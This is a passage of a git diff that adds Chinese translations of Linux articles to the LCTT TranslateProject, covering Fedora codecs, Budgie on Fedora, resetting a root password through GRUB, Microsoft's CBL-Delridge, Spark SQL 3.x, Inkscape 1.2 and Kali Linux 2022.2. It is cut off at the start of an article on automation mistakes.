Playlist][2] 来测试你的浏览器是否支持这个编码器。 + +它们中的一些播放器也可以作为 **flatpak** 格式的应用程序来使用。如果与传统的软件包管理器相比,你更喜欢 flatpak 格式的应用程序,你可以安装它们。现在大多数的 Linux 发行版都支持开箱即用的 flatpak 格式的应用程序 + +为安装 VLC 的 flatpak 版本,运行: + +``` +$ flatpak install vlc +``` + +#### 可选 - 安装 FFmpeg + +**FFmpeg** 是一个功能强大的多媒体框架,它可用于编码、解码、转码、混流、解混流、录制、音轨、过滤等,以及播放各种类型的媒体文件。你可以通过在你的系统上安装 FFmpeg 来获取相应的解码器。 + +* [如何在 Linux 中安装 FFmpeg][3] + +希望这有帮助。 + +**相关阅读:** + +* [在 Fedora Silverblue 中的 Chromium 和 Firefox 上启用 H264][4] +* [如何在 OpenSUSE 中安装多媒体解码器][5] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/how-to-install-multimedia-codecs-in-fedora-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/how-to-enable-rpm-fusion-repository-in-fedora-rhel/ +[2]: https://www.youtube.com/playlist?list=PLyqf6gJt7KuHBmeVzZteZUlNUQAVLwrZS +[3]: https://ostechnix.com/install-ffmpeg-linux/ +[4]: https://ostechnix.com/enable-h264-on-chromium-and-firefox-in-fedora-silverblue/ +[5]: https://ostechnix.com/how-to-install-multimedia-codecs-in-opensuse/ + diff --git a/published/202205/20220516 Fudgie- The Awesome Budgie Desktop is Coming to Fedora Linux Soon.md b/published/202205/20220516 Fudgie- The Awesome Budgie Desktop is Coming to Fedora Linux Soon.md new file mode 100644 index 0000000000..6306b97b23 --- /dev/null +++ b/published/202205/20220516 Fudgie- The Awesome Budgie Desktop is Coming to Fedora Linux Soon.md @@ -0,0 +1,69 @@ +[#]: subject: "Fudgie? The Awesome Budgie Desktop is Coming to Fedora Linux Soon" +[#]: via: "https://news.itsfoss.com/fudgie-fedora-budgie-announcement/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14610-1.html" + +Fudgie?令人惊叹的 Budgie 桌面即将登陆 Fedora Linux +====== + +> Fedora 用户也将能够享受 Budgie 桌面环境的现代体验。 + +![Fedora Budgie][1] + +近来,红帽的社区项目 Fedora 已经获得了相当不错的用户群。除了默认桌面 GNOME 外,Fedora 也以 [Fedora 定制版][2]Fedora Spins 的形式提供了多种其他桌面环境。 + +这意味着你可以在 Fedora 上享受 KDE、MATE、Xfce 和其他一些桌面环境的开箱即用的体验,而无需额外的努力。喜欢 KDE 而不是 GNOME 吗?下载 Fedora 的 KDE 定制版,安装它,就像安装常规的 Fedora 一样。 + +Fedora 定制版中缺少的一个桌面环境是 Budgie 桌面。 + +### Budgie 走向独立 + +在 2014 年左右,Budgie 桌面随同 Solus Linux 项目一起推出。最近,Solus 和 Budgie 项目出现了一些 [倒退式的发展][3]。Budgie 项目现在已经 [从 Solus Linux 中独立出来了][4]。 + +自从首次发布以来,Budgie 就获得了一定的追随者。它的现代布局方式受到了许多 Linux 用户的喜爱。这也是许多其他主要 Linux 发行版(如 Ubuntu、Manjaro、openSUSE)开始提供 Budgie 版本的原因。 + +![Budgie 10.6][5] + +到目前为止,Fedora 的产品中还没有 Budgie,但这可能会在 Fedora 的下一个版本中发生变化。 + +### Budgie 提交加入 Fedora 的申请 + +Budgie 项目的首席开发人员 Joshua Strobl 在 [Reddit 帖子][6] 中宣布了这一消息。 + +> 我现在已提交 Budgie 桌面及其它的附属软件(Budgie 控制中心、Budgie 屏幕保护程序、Budgie 桌面视图)加入到 Fedora 中的申请。从 Fedora rawhide(37)开始并向后移植到 36。它会得到“官方的”维护/支持,因为我自己在工作笔记本电脑上使用 Fedora Silverblue + rawhide,并且我以后会切换桌面到 Fedora Silverblue。 + +这意味着,如果该软件包得到了 Fedora 团队的批准,你应该就能在 Fedora 37 中(甚至有希望在 Fedora 36 中)安装 Budgie 和它的附属软件。 + +但这还不是故事的结束。Joshua 提到,他也在考虑引入并支持包含 Budgie 桌面的 Fedora 官方定制版。这意味着人们将能够下载一个预装了 Budgie(而不是 GNOME)桌面的 Fedora ISO。 + +目前还不清楚他的意思,有可能是一个 Budge 的 Fedora 官方定制版,也有可能是一个新的非官方的 Fedora 衍生版,名为 “Fudgie”,完全由他来维护。 + +### Fedora + Budgie 是一个好消息 + +无论如何,Fedora 的 Budgie 桌面都是个好消息。它为 Fedora 用户提供了更多选择,而 Budgie 是一个漂亮的桌面。同时喜欢 Fedora 和 Budgie 的人应该能够享受两全其美的体验。 + +我希望你同意我的看法。请在评论区也分享一下你的看法吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fudgie-fedora-budgie-announcement/ + +作者:[Abhishek][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/fedora-budgie.png +[2]: https://spins.fedoraproject.org +[3]: https://news.itsfoss.com/solus-co-lead-resign-budgie-serpent/ +[4]: https://news.itsfoss.com/budgie-10-6-release/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/04/budgie-10.61-1024x576.jpg +[6]: https://www.reddit.com/r/Fedora/comments/uq3gah/budgie_desktop_has_now_been_submitted_for/ diff --git a/published/202205/20220516 How To Reset Root Password In Fedora 36.md b/published/202205/20220516 How To Reset Root Password In Fedora 36.md new file mode 100644 index 0000000000..ef311d9227 --- /dev/null +++ b/published/202205/20220516 How To Reset Root Password In Fedora 36.md @@ -0,0 +1,102 @@ +[#]: subject: "How To Reset Root Password In Fedora 36" +[#]: via: "https://ostechnix.com/reset-root-password-in-fedora/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14638-1.html" + +在 Fedora 36 中如何重置 root 密码 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/26/094836cgtywrtwkywg2nem.jpg) + +> 在 Fedora 中重置忘记的 root 密码。 + +你是否忘记了 Fedora 中的 root 密码?或者你想更改 Fedora 系统中的 root 用户密码?没问题!本手册将指导你在 Fedora 操作系统中完成更改或重置 root 密码的步骤。 + +**注意:** 本手册已在 Fedora 36 和 35 版本上进行了正式测试。下面提供的步骤与在 Fedora Silverblue 和旧 Fedora 版本中重置 root 密码的步骤相同。 + +**步骤 1** - 打开 Fedora 系统并按下 `ESC` 键,直到看到 GRUB 启动菜单。出现 GRUB 菜单后,选择要引导的内核并按下 `e` 编辑选定的引导条目。 + +![Grub Menu In Fedora 36][1] + +**步骤 2** - 在下一个页面中,你将看到所有启动参数。找到名为 `ro` 的参数。 + +![Find ro Kernel Parameter In Grub Entry][2] + +**步骤 3** - 将 `ro` 参数替换为 `rw init=/sysroot/bin/sh`。请注意 `rw` 和 `init=/sysroot`...之间的空格。修改后的内核参数行应如下所示。 + +![Modify Kernel Parameters][3] + +**步骤 4** - 上述步骤更改参数后,按 `Ctrl+x` 进入紧急模式,即单用户模式。 + +在紧急模式下,输入以下命令以 **读/写** 模式挂载根文件系统(`/`)。 + +``` +chroot /sysroot/ +``` + +![Mount Root Filesystem In Read, Write Mode In Fedora Linux][4] + +**步骤 5** - 现在使用 `passwd` 命令重置 root 密码: + +``` +passwd root +``` + +输入两次 root 密码。我建议使用强密码。 + +![Reset Or Change Root Password In Fedora][5] + +**步骤 6** - 重置 root 密码后,运行以下命令在重启时启用 SELinux 重新标记: + +``` +touch /.autorelabel +``` + +![Enable SELinux Relabeling On Reboot In Fedora][6] + +**步骤 7** - 最后,退出单用户模式并通过运行以下命令将 Fedora 系统重启到正常模式: + +``` +exit +``` + +``` +reboot +``` + +等待 SELinux 重新标记完成。这将需要几分钟,具体时长取决于文件系统的大小和硬盘的速度。 + +![SELinux Filesystem Relabeling In Progress][7] + +**步骤 8** - 文件系统重新标记完成后,你可以使用新的 root 密码登录到你的 Fedora 系统。 + +![Login To Fedora As Root User][8] + +如你所见,在 Fedora 36 中重置 root 密码的步骤非常简单,并且与 [在 RHEL 中重置 root 密码][9] 及其衍生版本(如 CentOS、AlmaLinux 和 Rocky Linux)完全相同。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/reset-root-password-in-fedora/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/wp-content/uploads/2022/05/Grub-Menu-In-Fedora-36.png +[2]: https://ostechnix.com/wp-content/uploads/2021/11/Find-ro-Kernel-Parameter-In-Grub-Entry.png +[3]: https://ostechnix.com/wp-content/uploads/2022/05/Modify-Kernel-Parameters.png +[4]: https://ostechnix.com/wp-content/uploads/2022/05/Mount-Root-Filesystem-In-Read-Write-Mode-In-Fedora-Linux.png +[5]: https://ostechnix.com/wp-content/uploads/2022/05/Reset-Or-Change-Root-Password-In-Fedora.png +[6]: https://ostechnix.com/wp-content/uploads/2022/05/Enable-SELinux-Relabeling-On-Reboot-In-Fedora.png +[7]: https://ostechnix.com/wp-content/uploads/2021/11/SELinux-filesystem-relabeling-in-progress.png +[8]: https://ostechnix.com/wp-content/uploads/2022/05/Login-To-Fedora-As-Root-User.png +[9]: https://ostechnix.com/how-to-reset-root-user-password-in-centos-8-rhel-8/ diff --git a/published/202205/20220516 Microsoft has another Linux distribution and it is based on Debian.md b/published/202205/20220516 Microsoft has another Linux distribution and it is based on Debian.md new file mode 100644 index 0000000000..ab2671dfb7 --- /dev/null +++ b/published/202205/20220516 Microsoft has another Linux distribution and it is based on Debian.md @@ -0,0 +1,81 @@ +[#]: subject: "Microsoft has another Linux distribution and it is based on Debian" +[#]: via: "https://news.itsfoss.com/microsoft-debian-distro/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14604-1.html" + +微软还有另一个 Linux 发行版,而且是基于 Debian 的 +====== + +> 微软一直在为 Azure 云使用一个基于 Debian 的 Linux 发行版。我们开始揭开它的面纱了! + +![微软 Debian][1] + +微软在其大量的项目中利用了 Linux。近年来,你一定读过很多关于 WSL(或 WSL2)和微软制作的 Linux 发行版(即 **CBL Mariner**)的消息。 + +> CBL 是 “共用基础 LinuxCommon Base Linux”的缩写。 + +甚至在 Windows 11 上,微软也在不断地改进 [WSL][2] 的体验。 + +虽然 CBL Mariner 被用来支持 WSLg(WSL 2 的 GUI 部分)和 Azure,但最近一些媒体([ZDNet][3])报道发现了微软内部使用的另一个 Linux 发行版。 + +微软肯定喜欢 Linux,对吗? + +### CBL-Delridge:一个基于 Debian 的 Linux 发行版 + +![][4] + +微软维护着一个基于 Debian 的发行版,它被用来支持 Azure 的“云端外壳Cloud Shell”。它的名字是 “CBL-Delridge”。 + +感谢 [Hayden Barnes][5],他是 SUSE 公司负责 Windows 容器的高级工程经理。 + +在他 2022 年 2 月的一篇 [旧博文][6] 中,他透露了关于它的更多细节,并帮助你构建它以在需要时将其导入 WSL。 + +与从头构建的 CBL-Mariner 不同,CBL-Delridge(CBL-D)是基于 Debian 10(Buster)的。 + +看到 Debian 在这里受到青睐并不奇怪,即使是 [谷歌也为其内部的 Linux 发行版 gLinux 抛弃了 Ubuntu 而选择了 Debian][7]。 + +有趣的是,微软在 2020 年发布了这个供内部使用的发行版(根据 Hayden 维护的 [微软的开源举措的非官方时间表][8]),而我们在 2022 年才知道了它。 + +![][9] + +CBL-Delridge 也采用了同样的版本号 10(巧合),代号为 “Quinault”。解析一下这个名字,ZDNet 指出,Delridge 是西雅图西部的一个区,而 Quinault 指的是华盛顿州奥林匹克国家公园的一个山谷。 + +### 构建 CBL-Delridge + +与普通的 Linux 发行版不同,你找不到它的可以公开下载的镜像文件。 + +考虑到 CBL-D 的 APT 软件包库是公开的,如果你出于任何需求想测试它,你可以构建你的 CBL-D 镜像。 + +你也可以把它导入 WSL 中。[Hayden 的博文][10] 解释了如何使用 debootstrap 来开始构建镜像,然后将其导入 WSL。 + +请注意,CBL-D 并不完全是 Debian 的替代品。所以,你可能无法找到所有你喜欢的软件包。要了解更多的信息,你可以浏览 Hayden 的博文。 + +你对微软的内部使用的 Linux 发行版有什么看法?你试过其中一个吗?请在评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/microsoft-debian-distro/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/microsoft-new-debian-based-linux-distro.jpg +[2]: https://news.itsfoss.com/windows-11-wsl/ +[3]: https://www.zdnet.com/article/surprise-theres-yet-another-microsoft-linux-distro-cbl-delridge/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/azure-delridge.png +[5]: https://twitter.com/unixterminal +[6]: https://boxofcables.dev/building-cbl-d-microsofts-other-linux-distro/ +[7]: https://itsfoss.com/goobuntu-glinux-google/ +[8]: https://github.com/sirredbeard/microsoft-opensource +[9]: https://news.itsfoss.com/wp-content/uploads/2022/05/wsl-cbl-delridge-1024x600.png +[10]: https://boxofcables.dev/building-cbl-d-microsofts-other-linux-distro/ diff --git a/published/202205/20220516 Structured Data Processing with Spark SQL.md b/published/202205/20220516 Structured Data Processing with Spark SQL.md new file mode 100644 index 0000000000..33a25c2f6d --- /dev/null +++ b/published/202205/20220516 Structured Data Processing with Spark SQL.md @@ -0,0 +1,123 @@ +[#]: subject: "Structured Data Processing with Spark SQL" +[#]: via: "https://www.opensourceforu.com/2022/05/structured-data-processing-with-spark-sql/" +[#]: author: "Phani Kiran https://www.opensourceforu.com/author/phani-kiran/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14631-1.html" + +用 Spark SQL 进行结构化数据处理 +====== + +> Spark SQL 是 Spark 生态系统中处理结构化格式数据的模块。它在内部使用 Spark Core API 进行处理,但对用户的使用进行了抽象。这篇文章深入浅出地告诉你 Spark SQL 3.x 的新内容。 + +![](https://img.linux.net.cn/data/attachment/album/202205/24/093036xaf6kaz1auaf4a7s.jpg) + +有了 Spark SQL,用户可以编写 SQL 风格的查询。这对于精通结构化查询语言或 SQL 的广大用户群体来说,基本上是很有帮助的。用户也将能够在结构化数据上编写交互式和临时性的查询。Spark SQL 弥补了弹性分布式数据集resilient distributed data sets(RDD)和关系表之间的差距。RDD 是 Spark 的基本数据结构。它将数据作为分布式对象存储在适合并行处理的节点集群中。RDD 很适合底层处理,但在运行时很难调试,程序员不能自动推断模式schema。另外,RDD 没有内置的优化功能。Spark SQL 提供了数据帧DataFrame和数据集来解决这些问题。 + +Spark SQL 可以使用现有的 Hive 元存储、SerDes 和 UDF。它可以使用 JDBC/ODBC 连接到现有的 BI 工具。 + +### 数据源 + +大数据处理通常需要处理不同的文件类型和数据源(关系型和非关系型)的能力。Spark SQL 支持一个统一的数据帧接口来处理不同类型的源,如下所示。 + +* 文件: + * CSV + * Text + * JSON + * XML +* JDBC/ODBC: + * MySQL + * Oracle + * Postgres +* 带模式的文件: + * AVRO + * Parquet +* Hive 表: + * Spark SQL 也支持读写存储在 Apache Hive 中的数据。 + +通过数据帧,用户可以无缝地读取这些多样化的数据源,并对其进行转换/连接。 + +### Spark SQL 3.x 的新内容 + +在以前的版本中(Spark 2.x),查询计划是基于启发式规则和成本估算的。从解析到逻辑和物理查询计划,最后到优化的过程是连续的。这些版本对转换和行动的运行时特性几乎没有可见性。因此,由于以下原因,查询计划是次优的: + +* 缺失和过时的统计数据 +* 次优的启发式方法 +* 错误的成本估计 + +Spark 3.x 通过使用运行时数据来迭代改进查询计划和优化,增强了这个过程。前一阶段的运行时统计数据被用来优化后续阶段的查询计划。这里有一个反馈回路,有助于重新规划和重新优化执行计划。 + +![Figure 1: Query planning][2] + +#### 自适应查询执行(AQE) + +查询被改变为逻辑计划,最后变成物理计划。这里的概念是“重新优化”。它利用前一阶段的可用数据,为后续阶段重新优化。正因为如此,整个查询的执行要快得多。 + +AQE 可以通过设置 SQL 配置来启用,如下所示(Spark 3.0 中默认为 false): + +``` +spark.conf.set(“spark.sql.adaptive.enabled”,true) +``` + +#### 动态合并“洗牌”分区 + +Spark 在“洗牌shuffle”操作后确定最佳的分区数量。在 AQE 中,Spark 使用默认的分区数,即 200 个。这可以通过配置来启用。 + +``` +spark.conf.set(“spark.sql.adaptive.coalescePartitions.enabled”,true) +``` + +#### 动态切换连接策略 + +广播哈希是最好的连接操作。如果其中一个数据集很小,Spark 可以动态地切换到广播连接,而不是在网络上“洗牌”大量的数据。 + +#### 动态优化倾斜连接 + +如果数据分布不均匀,数据会出现倾斜,会有一些大的分区。这些分区占用了大量的时间。Spark 3.x 通过将大分区分割成多个小分区来进行优化。这可以通过设置来启用: + +``` +spark.conf.set(“spark.sql.adaptive.skewJoin.enabled”,true) +``` + +![Figure 2: Performance improvement in Spark 3.x (Source: Databricks)][3] + +### 其他改进措施 + +此外,Spark SQL 3.x还支持以下内容。 + +#### 动态分区修剪 + +3.x 将只读取基于其中一个表的值的相关分区。这消除了解析大表的需要。 + +#### 连接提示 + +如果用户对数据有了解,这允许用户指定要使用的连接策略。这增强了查询的执行过程。 + +#### 兼容 ANSI SQL + +在兼容 Hive 的早期版本的 Spark 中,我们可以在查询中使用某些关键词,这样做是完全可行的。然而,这在 Spark SQL 3 中是不允许的,因为它有完整的 ANSI SQL 支持。例如,“将字符串转换为整数”会在运行时产生异常。它还支持保留关键字。 + +#### 较新的 Hadoop、Java 和 Scala 版本 + +从 Spark 3.0 开始,支持 Java 11 和 Scala 2.12。 Java 11 具有更好的原生协调和垃圾校正,从而带来更好的性能。 Scala 2.12 利用了 Java 8 的新特性,优于 2.11。 + +Spark 3.x 提供了这些现成的有用功能,而无需开发人员操心。这将显着提高 Spark 的整体性能。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/structured-data-processing-with-spark-sql/ + +作者:[Phani Kiran][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/phani-kiran/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Spark-SQL-Data-cluster.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Query-planning.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-Performance-improvement-in-Spark-3.x-Source-Databricks.jpg diff --git a/published/202205/20220517 Adobe Illustrator Alternative Inkscape Releases Version 1.2.md b/published/202205/20220517 Adobe Illustrator Alternative Inkscape Releases Version 1.2.md new file mode 100644 index 0000000000..3fa4fa0560 --- /dev/null +++ b/published/202205/20220517 Adobe Illustrator Alternative Inkscape Releases Version 1.2.md @@ -0,0 +1,110 @@ +[#]: subject: "Adobe Illustrator Alternative Inkscape Releases Version 1.2" +[#]: via: "https://news.itsfoss.com/inkscape-1-2-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14615-1.html" + +Adobe Illustrator 的替代品 Inkscape 发布了 1.2 版本 +====== + +> Inkscape 1.2 是一个激动人心的更新,包含许多有用的改进和新增功能。试一试吧! + +![Inkscape][1] + +Inkscape 是一个流行的开源矢量图形处理程序,可用于 Linux、Windows 和 macOS。 + +它的最新版本侧重于改进现有工具,以及提供更多自定义选项。 + +此外,它还有一些新增功能。让我们来看看吧! + +### Inkscape 1.2:有什么新功能? + +![Inkscape 1.2 is here!][2] + +Inkscape 1.2 是一个激动人心的更新,它包含了许多有用的增强功能。其中一些关键变化包括: + +* 改进的渐变编辑器 +* 新的捕捉模式 +* 支持多页文档 +* 改进的导出对话框 +* 可定制的工具栏 + +在这里,我将重点介绍重要的功能改进: + +#### 多页文档支持 + +![][4] + +你现在可以在同一个文档中创建多个标准/自定义大小的页面,并把它们保存为一个多页的 PDF 文档。 + +不仅是导出,你还可以导入多页 PDF 来简化操作。 + +### 自定义调色板 + +你现在可以轻松地更改尺寸、重新配置颜色,以此来尝试所有可用的调色板,然后选择你真正喜欢的颜色。 + +特别是当你需要在用户界面中使用多个调色板时,它会让操作更流畅。 + +### 新的“平铺”实时路径效果 + +如果你正在处理很多个对象,并想尝试不同路径效果,那么你应该会喜欢新的平铺实时路径效果。 + +你可以轻松调整镜像模式、调整间隙、添加行和列,从而获得大量发挥创意的机会。 + +### 图层和对象对话框 + +![][5] + +大多数改进使得体验比以前更直接。使用新的合并图层和对象对话框,你可以根据要查找的图层,快速组织/查找对象。 + +你甚至可以自定义图层和对象颜色来区分它们。 + +### 导出对话框 + +![][6] + +现在,导出对话框为你提供了选择简单/批量导出的选项,以及选择文件格式和 DPI 设置的能力。 + +### 其他改进 + +除了上面的主要亮点外,还有其他的一些重大变化,包括: + +* 两种新的画布捕捉模式有助于对齐对象 +* 你可以在“填充和描边Fill and Stroke”对话框中选择渐变 +* 编辑标记marker的能力 +* 改进了与扩展的兼容性 +* 更新了 SVG 字体编辑器 +* 性能改进 +* 可配置的工具栏 + +你可以参考 [Inkscape 1.2 发行说明][7] 来查看所有的技术变化。 + +### 下载 Inkscape 1.2 + +你可以从它的官方网站下载 AppImage 格式的 Inkscape 1.2 软件包,或查看其他适用于 Windows/macOS 平台的可用软件包。 + +> **[Inkscape 1.2][8]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/inkscape-1-2-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/inkscape-1-2.jpg +[2]: https://youtu.be/1U4hVbvRr_g +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/inkscape-1-2-multi-document.jpg +[5]: https://news.itsfoss.com/wp-content/uploads/2022/05/inkscape-1-2layers-objects-1024x593.jpg +[6]: https://news.itsfoss.com/wp-content/uploads/2022/05/inkscape1-2-export-1024x688.jpg +[7]: https://media.inkscape.org/media/doc/release_notes/1.2/Inkscape_1.2.html +[8]: https://inkscape.org/release/inkscape-1.2/ diff --git a/published/202205/20220517 Kali Linux 2022.2 Release Adds an Amusing New Feature for the Hackers to Scare People.md b/published/202205/20220517 Kali Linux 2022.2 Release Adds an Amusing New Feature for the Hackers to Scare People.md new file mode 100644 index 0000000000..f604885536 --- /dev/null +++ b/published/202205/20220517 Kali Linux 2022.2 Release Adds an Amusing New Feature for the Hackers to Scare People.md @@ -0,0 +1,115 @@ +[#]: subject: "Kali Linux 2022.2 Release Adds an Amusing New Feature for the Hackers to Scare People" +[#]: via: "https://news.itsfoss.com/kali-linux-2022-2-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14606-1.html" + +Kali Linux 2022.2 发布:增加了一个吓唬人的有趣新功能 +====== + +> Kali Linux 2022.2 是今年的第二次更新,增加了一些有趣的内容。 + +![kali linux][1] + +Kali Linux 不是你寻常使用的 Linux 发行版。它是专门为渗透测试和道德黑客学习及实验而量身打造的。 + +在新的 Kali Linux 版本中,增加了一些有趣的工具和功能。让我们来看看 Kali Linux 2022.2 的亮点。 + +### Kali Linux 2022.2 有什么新功能? + +Kali Linux 2022.2 是一个有趣的版本,它引入了更新的桌面环境,升级了 Linux 内核,增加了新的工具,以及更多的改进。 + +不仅仅限于通常的完善,你还可以看到一个新的屏幕保护程序,其中有许多令人惊讶的元素。 + +#### 带有好莱坞怀旧色彩的新屏保 + +Kali Linux 已经出现在许多黑客相关的电视节目/电影(如《黑客军团Mr. Robot》)中,看起来酷极了。 + +更进一步,Kali Linux 增加了一个新的屏幕保护程序(你可以单独安装),其中有来自好莱坞的令人惊讶的元素和一些吓唬人的黑客场景。 + +他们在屏保中调侃了《黑客帝国》的尼奥,还添加了一个漂亮的 Kali Linux 标志。 + +![][2] + +整个屏幕保护程序包括几个非常棒的元素。要安装并立即启动它,你可以输入以下命令: + +``` +sudo apt -y install kali-screensaver +sudo apt -y install hollywood-activate +hollywood-activate +``` + +![VIDEO](https://player.vimeo.com/video/710680907) + +#### GNOME 42 + +![][3] + +Kali Linux 终于包含了新的 [GNOME 42][4] 桌面环境。所以,在 Kali Linux 自然带有 GNOME 42 的所有优点,包括新的屏幕截图用户界面。 + +另外,现在你将会在 GNOME 桌面环境中获得一致的深浅主题体验。 + +![][5] + +#### KDE Plasma 5.24 + +对于 KDE 粉丝,Kali Linux 2022.2 也带来了新的 [KDE Plasma 5.24][6] LTS 桌面环境。 + +![][7] + +#### 新的 Kali Linux 工具 + +新的工具总是每个新版本的重点。一些新增加的工具包括: + +* BruteShark - 网络取证分析工具(NFAT) +* Evil-WinRM - Ultimate WinRM shell +* Hakrawler - 网络爬虫,设计用于轻松、快速发现端点和资产 +* Httpx - 快速和多用途的 HTTP 工具箱 +* Sparrow-wifi - 用于 Linux 的图形化 Wi-Fi 分析器 + +#### 其他改进 + +该版本还有许多其他实质性的改进。主要的亮点包括。 + +* 对终端进行了调整,以加强语法高亮、自动补完和输出 +* 自动复制丢失的配置 +* 支持 VirtualBox 共享文件夹 +* 增加了新的应用程序图标 +* 为多显示器设置调整了默认墙纸 +* 针对 ARM 设备的更新 +* Linux 内核 5.16 + +要探索更多关于该版本的信息,你可以查看 [官方发布公告][8]。 + +### 下载 Kali Linux 2022.2 + +你应该能够在 [官方下载页面][9] 中找到该镜像。根据你的要求选择合适的版本,然后安装它。 + +> **[Kali Linux 2022.2][10]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kali-linux-2022-2-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/kali-2022-2-release-new.jpg +[2]: https://news.itsfoss.com/wp-content/uploads/2022/05/kali-linux-screensaver.jpg +[3]: https://news.itsfoss.com/wp-content/uploads/2022/05/kali-linux-gnome-42.jpg +[4]: https://news.itsfoss.com/gnome-42-features/ +[5]: https://news.itsfoss.com/wp-content/uploads/2022/05/kali-linux-gnome-42-screenshot.jpg +[6]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[7]: https://news.itsfoss.com/wp-content/uploads/2022/05/kali-linux-kde-5-24-1024x640.jpg +[8]: https://www.kali.org/blog/kali-linux-2022-2-release/ +[9]: https://www.kali.org/get-kali/ +[10]: https://www.kali.org/get-kali/ diff --git a/published/202205/20220518 Five common mistakes when using automation.md b/published/202205/20220518 Five common mistakes when using automation.md new file mode 100644 index 0000000000..c41b5d825b --- /dev/null +++ b/published/202205/20220518 Five common mistakes when using automation.md @@ -0,0 +1,56 @@ +[#]: subject: "Five common mistakes when using automation" +[#]: via: "https://fedoramagazine.org/five-common-mistakes-when-using-automation/" +[#]: author: "Gary Scarborough https://fedoramagazine.org/author/gscarbor/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14657-1.html" + +使用自动化时的五个常见错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/31/151450ukwk98weqgefgowa.jpg) + +随着自动化扩展到涵盖 IT 的更多方面,越来越多的管理员正在学习自动化技能并应用它们来减轻他们的工作量。自动化可以减轻重复性任务的负担,并为基础设施增加一定程度的一致性。但是,当 IT 工作人员部署自动化时,会出现可能对大大小小的基础设施造成严重破坏的常见错误。在自动化部署中通常会出现五个常见错误。 + +### 缺乏测试 + +初学者常犯的错误是自动化脚本没有经过全面测试。由于拼写错误或逻辑错误,简单的 shell 脚本可能会对服务器产生不利影响。将该错误乘以基础架构中的服务器数量,你可能会遇到一大堆问题需要清理。在大规模部署之前始终测试你的自动化脚本。 + +### 意外负载 + 